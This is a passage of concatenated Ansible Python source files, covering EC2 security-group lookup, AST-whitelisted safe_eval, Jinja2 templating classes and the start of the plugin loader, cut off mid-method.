                    'Name': 'vpc-id',
                    'Values': [
                        vpc_id,
                    ]
                }
            ]
            all_sec_groups = ec2_connection.describe_security_groups(Filters=filters)['SecurityGroups']
        else:
            all_sec_groups = ec2_connection.describe_security_groups()['SecurityGroups']
    else:
        if vpc_id:
            filters = { 'vpc-id': vpc_id }
            all_sec_groups = ec2_connection.get_all_security_groups(filters=filters)
        else:
            all_sec_groups = ec2_connection.get_all_security_groups()

    unmatched = set(sec_group_list).difference(str(get_sg_name(all_sg, boto3)) for all_sg in all_sec_groups)
    sec_group_name_list = list(set(sec_group_list) - set(unmatched))

    if len(unmatched) > 0:
        # If we have unmatched names that look like an ID, assume they are
        import re
        sec_group_id_list[:] = [sg for sg in unmatched if re.match('sg-[a-fA-F0-9]+$', sg)]
        still_unmatched = [sg for sg in unmatched if not re.match('sg-[a-fA-F0-9]+$', sg)]
        if len(still_unmatched) > 0:
            raise ValueError("The following group names are not valid: %s" % ', '.join(still_unmatched))

    sec_group_id_list += [ str(get_sg_id(all_sg, boto3)) for all_sg in all_sec_groups if str(get_sg_name(all_sg, boto3)) in sec_group_name_list ]

    return sec_group_id_list







# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
import sys

from ansible.compat.six import string_types
from ansible.compat.six.moves import builtins

from ansible import constants as C
from ansible.plugins import filter_loader, test_loader

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

def safe_eval(expr, locals={}, include_exceptions=False):
    '''
    This is intended for allowing things like:
    with_items: a_list_variable

    Where Jinja2 would return a string but we do not want to allow it to
    call functions (outside of Jinja2, where the env is constrained). If
    the input data to this function came from an untrusted (remote) source,
    it should first be run through _clean_data_struct() to ensure the data
    is further sanitized prior to evaluation.

    Based on:
    http://stackoverflow.com/questions/12523516/using-ast-and-whitelists-to-make-pythons-eval-safe
    '''

    # define certain JSON types
    # eg. JSON booleans are unknown to python eval()
    JSON_TYPES = {
        'false': False,
        'null': None,
        'true': True,
    }

    # this is the whitelist of AST nodes we are going to
    # allow in the evaluation. Any node type other than
    # those listed here will raise an exception in our custom
    # visitor class defined below.
    SAFE_NODES = set(
        (
            ast.Add,
            ast.BinOp,
            ast.Call,
            ast.Compare,
            ast.Dict,
            ast.Div,
            ast.Expression,
            ast.List,
            ast.Load,
            ast.Mult,
            ast.Num,
            ast.Name,
            ast.Str,
            ast.Sub,
            ast.Tuple,
            ast.UnaryOp,
        )
    )

    # AST node types were expanded after 2.6
    if sys.version_info[:2] >= (2, 7):
        SAFE_NODES.update(
            set(
                (ast.Set,)
            )
        )

    # And in Python 3.4 too
    if sys.version_info[:2] >= (3, 4):
        SAFE_NODES.update(
            set(
                (ast.NameConstant,)
            )
        )

    filter_list = []
    for filter in filter_loader.all():
        filter_list.extend(filter.filters().keys())

    test_list = []
    for test in test_loader.all():
        test_list.extend(test.tests().keys())

    CALL_WHITELIST = C.DEFAULT_CALLABLE_WHITELIST + filter_list + test_list

    class CleansingNodeVisitor(ast.NodeVisitor):
        def generic_visit(self, node, inside_call=False):
            if type(node) not in SAFE_NODES:
                raise Exception("invalid expression (%s)" % expr)
            elif isinstance(node, ast.Call):
                inside_call = True
            elif isinstance(node, ast.Name) and inside_call:
                if hasattr(builtins, node.id) and node.id not in CALL_WHITELIST:
                    raise Exception("invalid function: %s" % node.id)
            # iterate over all child nodes
            for child_node in ast.iter_child_nodes(node):
                self.generic_visit(child_node, inside_call)

    if not isinstance(expr, string_types):
        # already templated to a datastructure, perhaps?
        if include_exceptions:
            return (expr, None)
        return expr

    cnv = CleansingNodeVisitor()
    try:
        parsed_tree = ast.parse(expr, mode='eval')
        cnv.visit(parsed_tree)
        compiled = compile(parsed_tree, expr, 'eval')
        result = eval(compiled, JSON_TYPES, dict(locals))

        if include_exceptions:
            return (result, None)
        else:
            return result
    except SyntaxError as e:
        display.warning('SyntaxError in safe_eval() on expr: %s (%s)' % (expr, e))
        # special handling for syntax errors, we just return
        # the expression string back as-is
        if include_exceptions:
            return (expr, None)
        return expr
    except Exception as e:
        display.warning('Exception in safe_eval() on expr: %s (%s)' % (expr, e))
        if include_exceptions:
            return (expr, e)
        return expr






# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import jinja2

__all__ = ['AnsibleJ2Template']


class AnsibleJ2Template(jinja2.environment.Template):
    '''
    A helper class, which prevents Jinja2 from running _jinja2_vars through dict().
    Without this, {% include %} and similar will create new contexts unlike the special
    one created in template_from_file. This ensures they are all alike, except for
    potential locals.
    '''

    def new_context(self, vars=None, shared=False, locals=None):
        return jinja2.runtime.Context(self.environment, vars.add_locals(locals), self.name, self.blocks)







# (c) 2012, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

from ansible.compat.six import iteritems
from jinja2.utils import missing
from ansible.utils.unicode import to_unicode

__all__ = ['AnsibleJ2Vars']


class AnsibleJ2Vars:
    '''
    Helper class to template all variable content before jinja2 sees it. This is
    done by hijacking the variable storage that jinja2 uses, and overriding __contains__
    and __getitem__ to look like a dict. Added bonus is avoiding duplicating the large
    hashes that inject tends to be.

    To facilitate using builtin jinja2 things like range, globals are also handled here.
    '''

    def __init__(self, templar, globals, locals=None, *extras):
        '''
        Initializes this object with a valid Templar() object, as
        well as several dictionaries of variables representing
        different scopes (in jinja2 terminology).
        '''

        self._templar = templar
        self._globals = globals
        self._extras  = extras
        self._locals  = dict()
        if isinstance(locals, dict):
            for key, val in iteritems(locals):
                if key[:2] == 'l_' and val is not missing:
                    self._locals[key[2:]] = val

    def __contains__(self, k):
        if k in self._templar._available_variables:
            return True
        if k in self._locals:
            return True
        for i in self._extras:
            if k in i:
                return True
        if k in self._globals:
            return True
        return False

    def __getitem__(self, varname):
        if varname not in self._templar._available_variables:
            if varname in self._locals:
                return self._locals[varname]
            for i in self._extras:
                if varname in i:
                    return i[varname]
            if varname in self._globals:
                return self._globals[varname]
            else:
                raise KeyError("undefined variable: %s" % varname)

        variable = self._templar._available_variables[varname]

        # HostVars is special, return it as-is, as is the special variable
        # 'vars', which contains the vars structure
        from ansible.vars.hostvars import HostVars
        if isinstance(variable, dict) and varname == "vars" or isinstance(variable, HostVars):
            return variable
        else:
            value = None
            try:
                value = self._templar.template(variable)
            except Exception as e:
                raise type(e)(to_unicode(variable) + ': ' + e.message)
            return value

    def add_locals(self, locals):
        '''
        If locals are provided, create a copy of self containing those
        locals in addition to what is already in this variable proxy.
        '''
        if locals is None:
            return self
        return AnsibleJ2Vars(self._templar, self._globals, locals=locals, *self._extras)







# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com>
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import ast
import contextlib
import os
import re

from io import StringIO

from ansible.compat.six import string_types, text_type, binary_type
from jinja2 import Environment
from jinja2.loaders import FileSystemLoader
from jinja2.exceptions import TemplateSyntaxError, UndefinedError
from jinja2.utils import concat as j2_concat
from jinja2.runtime import StrictUndefined

from ansible import constants as C
from ansible.errors import AnsibleError, AnsibleFilterError, AnsibleUndefinedVariable
from ansible.plugins import filter_loader, lookup_loader, test_loader
from ansible.template.safe_eval import safe_eval
from ansible.template.template import AnsibleJ2Template
from ansible.template.vars import AnsibleJ2Vars
from ansible.utils.unicode import to_unicode, to_str

try:
    from hashlib import sha1
except ImportError:
    from sha import sha as sha1

from numbers import Number

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

__all__ = ['Templar']

# A regex for checking to see if a variable we're trying to
# expand is just a single variable name.

# Primitive Types which we don't want Jinja to convert to strings.
NON_TEMPLATED_TYPES = ( bool, Number )

JINJA2_OVERRIDE = '#jinja2:'


def _escape_backslashes(data, jinja_env):
    """Double backslashes within jinja2 expressions

    A user may enter something like this in a playbook::

      debug:
        msg: "Test Case 1\\3; {{ test1_name | regex_replace('^(.*)_name$', '\\1')}}"

    The string inside of the {{ gets interpreted multiple times First by yaml.
    Then by python.  And finally by jinja2 as part of it's variable.  Because
    it is processed by both python and jinja2, the backslash escaped
    characters get unescaped twice.  This means that we'd normally have to use
    four backslashes to escape that.  This is painful for playbook authors as
    they have to remember different rules for inside vs outside of a jinja2
    expression (The backslashes outside of the "{{ }}" only get processed by
    yaml and python.  So they only need to be escaped once).  The following
    code fixes this by automatically performing the extra quoting of
    backslashes inside of a jinja2 expression.

    """
    if '\\' in data and '{{' in data:
        new_data = []
        d2 = jinja_env.preprocess(data)
        in_var = False

        for token in jinja_env.lex(d2):
            if token[1] == 'variable_begin':
                in_var = True
                new_data.append(token[2])
            elif token[1] == 'variable_end':
                in_var = False
                new_data.append(token[2])
            elif in_var and token[1] == 'string':
                # Double backslashes only if we're inside of a jinja2 variable
                new_data.append(token[2].replace('\\','\\\\'))
            else:
                new_data.append(token[2])

        data = ''.join(new_data)

    return data

def _count_newlines_from_end(in_str):
    '''
    Counts the number of newlines at the end of a string. This is used during
    the jinja2 templating to ensure the count matches the input, since some newlines
    may be thrown away during the templating.
    '''

    try:
        i = len(in_str)
        j = i -1
        while in_str[j] == '\n':
            j -= 1
        return i - 1 - j
    except IndexError:
        # Uncommon cases: zero length string and string containing only newlines
        return i


class Templar:
    '''
    The main class for templating, with the main entry-point of template().
    '''

    def __init__(self, loader, shared_loader_obj=None, variables=dict()):
        self._loader              = loader
        self._filters             = None
        self._tests               = None
        self._available_variables = variables
        self._cached_result       = {}

        if loader:
            self._basedir = loader.get_basedir()
        else:
            self._basedir = './'

        if shared_loader_obj:
            self._filter_loader = getattr(shared_loader_obj, 'filter_loader')
            self._test_loader   = getattr(shared_loader_obj, 'test_loader')
            self._lookup_loader = getattr(shared_loader_obj, 'lookup_loader')
        else:
            self._filter_loader = filter_loader
            self._test_loader   = test_loader
            self._lookup_loader = lookup_loader

        # flags to determine whether certain failures during templating
        # should result in fatal errors being raised
        self._fail_on_lookup_errors    = True
        self._fail_on_filter_errors    = True
        self._fail_on_undefined_errors = C.DEFAULT_UNDEFINED_VAR_BEHAVIOR

        self.environment = Environment(
            trim_blocks=True,
            undefined=StrictUndefined,
            extensions=self._get_extensions(),
            finalize=self._finalize,
            loader=FileSystemLoader(self._basedir),
        )
        self.environment.template_class = AnsibleJ2Template

        self.SINGLE_VAR = re.compile(r"^%s\s*(\w*)\s*%s$" % (self.environment.variable_start_string, self.environment.variable_end_string))

        self.block_start    = self.environment.block_start_string
        self.block_end      = self.environment.block_end_string
        self.variable_start = self.environment.variable_start_string
        self.variable_end   = self.environment.variable_end_string
        self._clean_regex   = re.compile(r'(?:%s|%s|%s|%s)' % (self.variable_start, self.block_start, self.block_end, self.variable_end))
        self._no_type_regex = re.compile(r'.*\|\s*(?:%s)\s*(?:%s)?$' % ('|'.join(C.STRING_TYPE_FILTERS), self.variable_end))

    def _get_filters(self):
        '''
        Returns filter plugins, after loading and caching them if need be
        '''

        if self._filters is not None:
            return self._filters.copy()

        plugins = [x for x in self._filter_loader.all()]

        self._filters = dict()
        for fp in plugins:
            self._filters.update(fp.filters())
        self._filters.update(self._get_tests())

        return self._filters.copy()

    def _get_tests(self):
        '''
        Returns tests plugins, after loading and caching them if need be
        '''

        if self._tests is not None:
            return self._tests.copy()

        plugins = [x for x in self._test_loader.all()]

        self._tests = dict()
        for fp in plugins:
            self._tests.update(fp.tests())

        return self._tests.copy()

    def _get_extensions(self):
        '''
        Return jinja2 extensions to load.

        If some extensions are set via jinja_extensions in ansible.cfg, we try
        to load them with the jinja environment.
        '''

        jinja_exts = []
        if C.DEFAULT_JINJA2_EXTENSIONS:
            # make sure the configuration directive doesn't contain spaces
            # and split extensions in an array
            jinja_exts = C.DEFAULT_JINJA2_EXTENSIONS.replace(" ", "").split(',')

        return jinja_exts

    def _clean_data(self, orig_data):
        ''' remove jinja2 template tags from a string '''

        if not isinstance(orig_data, string_types):
            return orig_data

        with contextlib.closing(StringIO(orig_data)) as data:
            # these variables keep track of opening block locations, as we only
            # want to replace matched pairs of print/block tags
            print_openings = []
            block_openings = []
            for mo in self._clean_regex.finditer(orig_data):
                token = mo.group(0)
                token_start = mo.start(0)

                if token[0] == self.variable_start[0]:
                    if token == self.block_start:
                        block_openings.append(token_start)
                    elif token == self.variable_start:
                        print_openings.append(token_start)

                elif token[1] == self.variable_end[1]:
                    prev_idx = None
                    if token == self.block_end and block_openings:
                        prev_idx = block_openings.pop()
                    elif token == self.variable_end and print_openings:
                        prev_idx = print_openings.pop()

                    if prev_idx is not None:
                        # replace the opening
                        data.seek(prev_idx, os.SEEK_SET)
                        data.write(to_unicode(self.environment.comment_start_string))
                        # replace the closing
                        data.seek(token_start, os.SEEK_SET)
                        data.write(to_unicode(self.environment.comment_end_string))

                else:
                    raise AnsibleError("Error while cleaning data for safety: unhandled regex match")

            return data.getvalue()

    def set_available_variables(self, variables):
        '''
        Sets the list of template variables this Templar instance will use
        to template things, so we don't have to pass them around between
        internal methods. We also clear the template cache here, as the variables
        are being changed.
        '''

        assert isinstance(variables, dict)
        self._available_variables = variables
        self._cached_result       = {}

    def template(self, variable, convert_bare=False, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None, convert_data=True, static_vars = [''], cache = True, bare_deprecated=True):
        '''
        Templates (possibly recursively) any given data as input. If convert_bare is
        set to True, the given data will be wrapped as a jinja2 variable ('{{foo}}')
        before being sent through the template engine. 
        '''

        if fail_on_undefined is None:
            fail_on_undefined = self._fail_on_undefined_errors

        # Don't template unsafe variables, instead drop them back down to their constituent type.
        if hasattr(variable, '__UNSAFE__'):
            if isinstance(variable, text_type):
                return self._clean_data(variable)
            else:
                # Do we need to convert these into text_type as well?
                # return self._clean_data(to_unicode(variable._obj, nonstring='passthru'))
                return self._clean_data(variable._obj)

        try:
            if convert_bare:
                variable = self._convert_bare_variable(variable, bare_deprecated=bare_deprecated)

            if isinstance(variable, string_types):
                result = variable

                if self._contains_vars(variable):

                    # Check to see if the string we are trying to render is just referencing a single
                    # var.  In this case we don't want to accidentally change the type of the variable
                    # to a string by using the jinja template renderer. We just want to pass it.
                    only_one = self.SINGLE_VAR.match(variable)
                    if only_one:
                        var_name = only_one.group(1)
                        if var_name in self._available_variables:
                            resolved_val = self._available_variables[var_name]
                            if isinstance(resolved_val, NON_TEMPLATED_TYPES):
                                return resolved_val
                            elif resolved_val is None:
                                return C.DEFAULT_NULL_REPRESENTATION

                    # Using a cache in order to prevent template calls with already templated variables
                    sha1_hash = None
                    if cache:
                        variable_hash = sha1(text_type(variable).encode('utf-8'))
                        options_hash  = sha1((text_type(preserve_trailing_newlines) + text_type(escape_backslashes) + text_type(fail_on_undefined) + text_type(overrides)).encode('utf-8'))
                        sha1_hash = variable_hash.hexdigest() + options_hash.hexdigest()
                    if cache and sha1_hash in self._cached_result:
                        result = self._cached_result[sha1_hash]
                    else:
                        result = self._do_template(variable, preserve_trailing_newlines=preserve_trailing_newlines, escape_backslashes=escape_backslashes, fail_on_undefined=fail_on_undefined, overrides=overrides)
                        if convert_data and not self._no_type_regex.match(variable):
                            # if this looks like a dictionary or list, convert it to such using the safe_eval method
                            if (result.startswith("{") and not result.startswith(self.environment.variable_start_string)) or \
                              result.startswith("[") or result in ("True", "False"):
                                eval_results = safe_eval(result, locals=self._available_variables, include_exceptions=True)
                                if eval_results[1] is None:
                                    result = eval_results[0]
                                else:
                                    # FIXME: if the safe_eval raised an error, should we do something with it?
                                    pass

                        # we only cache in the case where we have a single variable
                        # name, to make sure we're not putting things which may otherwise
                        # be dynamic in the cache (filters, lookups, etc.)
                        if cache:
                            self._cached_result[sha1_hash] = result

                return result

            elif isinstance(variable, (list, tuple)):
                return [self.template(v, preserve_trailing_newlines=preserve_trailing_newlines, fail_on_undefined=fail_on_undefined, overrides=overrides) for v in variable]
            elif isinstance(variable, dict):
                d = {}
                # we don't use iteritems() here to avoid problems if the underlying dict
                # changes sizes due to the templating, which can happen with hostvars
                for k in variable.keys():
                    if k not in static_vars:
                        d[k] = self.template(variable[k], preserve_trailing_newlines=preserve_trailing_newlines, fail_on_undefined=fail_on_undefined, overrides=overrides)
                    else:
                        d[k] = variable[k]
                return d
            else:
                return variable

        except AnsibleFilterError:
            if self._fail_on_filter_errors:
                raise
            else:
                return variable

    def _contains_vars(self, data):
        '''
        returns True if the data contains a variable pattern
        '''
        for marker in  [self.environment.block_start_string, self.environment.variable_start_string, self.environment.comment_start_string]:
            if marker in data:
                return True
        return False

    def _convert_bare_variable(self, variable, bare_deprecated):
        '''
        Wraps a bare string, which may have an attribute portion (ie. foo.bar)
        in jinja2 variable braces so that it is evaluated properly.
        '''

        if isinstance(variable, string_types):
            contains_filters = "|" in variable
            first_part = variable.split("|")[0].split(".")[0].split("[")[0]
            if (contains_filters or first_part in self._available_variables) and self.environment.variable_start_string not in variable:
                if bare_deprecated:
                     display.deprecated("Using bare variables is deprecated. Update your playbooks so that the environment value uses the full variable syntax ('%s%s%s')" %
                        (self.environment.variable_start_string, variable, self.environment.variable_end_string))
                return "%s%s%s" % (self.environment.variable_start_string, variable, self.environment.variable_end_string)

        # the variable didn't meet the conditions to be converted,
        # so just return it as-is
        return variable

    def _finalize(self, thing):
        '''
        A custom finalize method for jinja2, which prevents None from being returned
        '''
        return thing if thing is not None else ''

    def _lookup(self, name, *args, **kwargs):
        instance = self._lookup_loader.get(name.lower(), loader=self._loader, templar=self)

        if instance is not None:
            wantlist = kwargs.pop('wantlist', False)

            from ansible.utils.listify import listify_lookup_plugin_terms
            loop_terms = listify_lookup_plugin_terms(terms=args, templar=self, loader=self._loader, fail_on_undefined=True, convert_bare=False)
            # safely catch run failures per #5059
            try:
                ran = instance.run(loop_terms, variables=self._available_variables, **kwargs)
            except (AnsibleUndefinedVariable, UndefinedError) as e:
                raise AnsibleUndefinedVariable(e)
            except Exception as e:
                if self._fail_on_lookup_errors:
                    raise
                ran = None

            if ran:
                from ansible.vars.unsafe_proxy import UnsafeProxy, wrap_var
                if wantlist:
                    ran = wrap_var(ran)
                else:
                    try:
                        ran = UnsafeProxy(",".join(ran))
                    except TypeError:
                        if isinstance(ran, list) and len(ran) == 1:
                            ran = wrap_var(ran[0])
                        else:
                            ran = wrap_var(ran)

            return ran
        else:
            raise AnsibleError("lookup plugin (%s) not found" % name)

    def _do_template(self, data, preserve_trailing_newlines=True, escape_backslashes=True, fail_on_undefined=None, overrides=None):

        # For preserving the number of input newlines in the output (used
        # later in this method)
        data_newlines = _count_newlines_from_end(data)

        if fail_on_undefined is None:
            fail_on_undefined = self._fail_on_undefined_errors

        try:
            # allows template header overrides to change jinja2 options.
            if overrides is None:
                myenv = self.environment.overlay()
            else:
                myenv = self.environment.overlay(overrides)

            # Get jinja env overrides from template
            if data.startswith(JINJA2_OVERRIDE):
                eol = data.find('\n')
                line = data[len(JINJA2_OVERRIDE):eol]
                data = data[eol+1:]
                for pair in line.split(','):
                    (key,val) = pair.split(':')
                    key = key.strip()
                    setattr(myenv, key, ast.literal_eval(val.strip()))

            #FIXME: add tests
            myenv.filters.update(self._get_filters())
            myenv.tests.update(self._get_tests())

            if escape_backslashes:
                # Allow users to specify backslashes in playbooks as "\\"
                # instead of as "\\\\".
                data = _escape_backslashes(data, myenv)

            try:
                t = myenv.from_string(data)
            except TemplateSyntaxError as e:
                raise AnsibleError("template error while templating string: %s. String: %s" % (to_str(e), to_str(data)))
            except Exception as e:
                if 'recursion' in to_str(e):
                    raise AnsibleError("recursive loop detected in template string: %s" % to_str(data))
                else:
                    return data

            t.globals['lookup']   = self._lookup
            t.globals['finalize'] = self._finalize

            jvars = AnsibleJ2Vars(self, t.globals)

            new_context = t.new_context(jvars, shared=True)
            rf = t.root_render_func(new_context)

            try:
                res = j2_concat(rf)
            except TypeError as te:
                if 'StrictUndefined' in to_str(te):
                    errmsg  = "Unable to look up a name or access an attribute in template string (%s).\n" % to_str(data)
                    errmsg += "Make sure your variable name does not contain invalid characters like '-': %s" % to_str(te)
                    raise AnsibleUndefinedVariable(errmsg)
                else:
                    display.debug("failing because of a type error, template data is: %s" % to_str(data))
                    raise AnsibleError("Unexpected templating type error occurred on (%s): %s" % (to_str(data),to_str(te)))

            if preserve_trailing_newlines:
                # The low level calls above do not preserve the newline
                # characters at the end of the input data, so we use the
                # calculate the difference in newlines and append them
                # to the resulting output for parity
                #
                # jinja2 added a keep_trailing_newline option in 2.7 when
                # creating an Environment.  That would let us make this code
                # better (remove a single newline if
                # preserve_trailing_newlines is False).  Once we can depend on
                # that version being present, modify our code to set that when
                # initializing self.environment and remove a single trailing
                # newline here if preserve_newlines is False.
                res_newlines = _count_newlines_from_end(res)
                if data_newlines > res_newlines:
                    res += '\n' * (data_newlines - res_newlines)

            return res
        except (UndefinedError, AnsibleUndefinedVariable) as e:
            if fail_on_undefined:
                raise AnsibleUndefinedVariable(e)
            else:
                #TODO: return warning about undefined var
                return data







# (c) 2012, Daniel Hokka Zakrisson <daniel@hozac.com>
# (c) 2012-2014, Michael DeHaan <michael.dehaan@gmail.com> and others
#
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type

import glob
import imp
import inspect
import os
import os.path
import sys
import warnings

from collections import defaultdict

from ansible import constants as C
from ansible.utils.unicode import to_unicode

try:
    from __main__ import display
except ImportError:
    from ansible.utils.display import Display
    display = Display()

# Global so that all instances of a PluginLoader will share the caches
MODULE_CACHE = {}
PATH_CACHE = {}
PLUGIN_PATH_CACHE = {}

def get_all_plugin_loaders():
    return [(name, obj) for (name, obj) in inspect.getmembers(sys.modules[__name__]) if isinstance(obj, PluginLoader)]

class PluginLoader:

    '''
    PluginLoader loads plugins from the configured plugin directories.

    It searches for plugins by iterating through the combined list of
    play basedirs, configured paths, and the python path.
    The first match is used.
    '''

    def __init__(self, class_name, package, config, subdir, aliases={}, required_base_class=None):

        self.class_name         = class_name
        self.base_class         = required_base_class
        self.package            = package
        self.subdir             = subdir
        self.aliases            = aliases

        if config and not isinstance(config, list):
            config = [config]
        elif not config:
            config = []

        self.config = config

        if not class_name in MODULE_CACHE:
            MODULE_CACHE[class_name] = {}
        if not class_name in PATH_CACHE:
            PATH_CACHE[class_name] = None
        if not class_name in PLUGIN_PATH_CACHE:
            PLUGIN_PATH_CACHE[class_name] = defaultdict(dict)

        self._module_cache      = MODULE_CACHE[class_name]
        self._paths             = PATH_CACHE[class_name]
        self._plugin_path_cache = PLUGIN_PATH_CACHE[class_name]

        self._extra_dirs = []
        self._searched_paths = set()

    def __setstate__(self, data):
        '''
        Deserializer.
        '''

        class_name = data.get('class_name')
        package    = data.get('package')
        config     = data.get('config')
        subdir     = data.get('subdir')
        aliases    = data.get('aliases')
        base_class = data.get('base_class')

        PATH_CACHE[class_name] = data.get('PATH_CACHE')
        PLUGIN_PATH_CACHE[class_name] = data.get('PLUGIN_PATH_CACHE')

        self.__init__(class_name, package, config, subdir, aliases, base_class)
        self._extra_dirs = data.get('_extra_dirs', [])
        self._searched_paths = data.get('_searched_paths', set())

    def __getstate__(self):
        '''
        Serializer.
        '''

        return dict(
            class_name        = self.class_name,
            base_class        = self.base_class,
            package           = self.package,
            config            = self.config,
            subdir            = self.subdir,
            aliases           = self.aliases,
            _extra_dirs       = self._extra_dirs,
            _searched_paths   = self._searched_paths,
            PATH_CACHE        = PATH_CACHE[self.class_name],
            PLUGIN_PATH_CACHE = PLUGIN_PATH_CACHE[self.class_name],
        )

    def format_paths(self, paths):
        ''' Returns a string suitable for printing of the search path '''

        # Uses a list to get the order right
        ret = []
        for i in paths:
            if i not in ret:
                ret.append(i)
        return os.pathsep.join(ret)

    def print_paths(self):
        return self.format_paths(self._get_paths())

    def _all_directories(self, dir):
        results = []
        results.append(dir)
        for root, subdirs, files in os.walk(dir, followlinks=True):
           if '__init__.py' in files:
               for x in subdirs:
                   results.append(os.path.join(root,x))
        return results

    def _get_package_paths(self):
        ''' Gets the path of a Python package '''

        if not self.package:
            return []
        if not hasattr(self, 'package_path'):
            m = __import__(self.package)
            parts = self.package.split('.')[1:]
            for parent_mod in parts:
                m = getattr(m, parent_mod)
            self.package_path = os.path.dirname(m.__file__)
        return self._all_directories(self.package_path)

    def _get_paths(self):
        ''' Return a list of paths to search for plugins in '''

        if self._paths is not None:
            return self._paths

        ret = self._extra_dirs[:]

        # look in any configured plugin paths, allow one level deep for subcategories
        if self.config is not None:
            for path in self.config:
                path = os.path.realpath(os.path.expanduser(path))
                contents = glob.glob("%s/*" % path) + glob.glob("%s/*/*" % path)
                for c in contents:
                    if os.path.isdir(c) and c not in ret:
                        ret.append(c)
                if path not in ret:
                    ret.append(path)

        # look for any plugins installed in the package subtree
        ret.extend(self._get_package_paths())

        # HACK: because powershell modules are in the same directory
        # hierarchy as other modules we have to process them last.  This is
        # because powershell only works on windows but the other modules work
        # anywhere (possibly including windows if the correct language
        # interpreter is installed).  the non-powershell modules can have any
        # file extension and thus powershell modules are picked up in that.
        # The non-hack way to fix this is to have powershell modules be
        # a different PluginLoader/ModuleLoader.  But that requires changing
        # other things too (known thing to change would be PATHS_CACHE,
        # PLUGIN_PATHS_CACHE, and MODULE_CACHE.  Since those three dicts key
        # on the class_name and neither regular modules nor powershell modules
        # would have class_names, they would not work as written.
        reordered_paths = []
        win_dirs = []
        for path in ret:
            if path.endswith('windows'):
                win_dirs.append(path)
            else:
                reordered_paths.append(path)
        reordered_paths.extend(win_dirs)

        # cache and return the result
        self._paths = reordered_paths
        return reordered_paths

    def add_directory(self, directory, with_subdir=False):
        ''' Adds an additional directory to the search path '''

        directory = os.path.realpath(directory)

        if directory is not None:
            if with_subdir:
                directory = os.path.join(directory, self.subdir)
            if directory not in self._extra_dirs:
                # append the directory and invalidate the path cache
                self._extra_dirs.append(directory)
                self._paths = None

    def find_plugin(self, name, mod_type=''):
        ''' Find a plugin named name '''

        if mod_type:
            suffix = mod_type
        elif self.class_name:
            # Ansible plugins that run in the controller process (most plugins)
            suffix = '.py'
        else:
            # Only Ansible Modules.  Ansible modules can be any executable so
            # they can have any suffix
            suffix = ''

        # The particular cache to look for modules within.  This matches the
        # requested mod_type
        pull_cache = self._plugin_path_cache[suffix]
        try:
            return pull_cache[name]
        except KeyError:
            # Cache miss.  Now let's find the plugin
            pass

        # TODO: Instead of using the self._paths cache (PATH_CACHE) and
        #       self._searched_paths we could use an iterator.  Before enabling that
        #       we need to make sure we don't want to add additional directories
        #       (add_directory()) once we start using the iterator.  Currently, it
        #       looks like _get_paths() never forces a cache refresh so if we expect
        #       additional directories to be added later, it is buggy.
        for path in (p for p in self._get_paths() if p not in self._searched_paths and os.path.isdir(p)):
            try:
                full_paths = (os.path.join(path, f) for f in os.listdir(path))
            except OSError as e:
                display.warning("Error accessing plugin paths: %s" % to_unicode(e))

            for full_path in (f for f in full_paths if os.path.isfile(f) and not f.endswith('__init__.py')):
                full_name = os.path.basename(full_path)

                # HACK: We have no way of executing python byte
                # compiled files as ansible modules so specifically exclude them
                if full_path.endswith(('.pyc', '.pyo')):
                    continue

                splitname = os.path.splitext(full_name)
                base_name = splitname[0]
                try:
                    extension = splitname[1]
                except IndexError:
                    extension = ''

                # Module found, now enter it into the caches that match
                # this file
                if base_name not in self._plugin_path_cache['']:
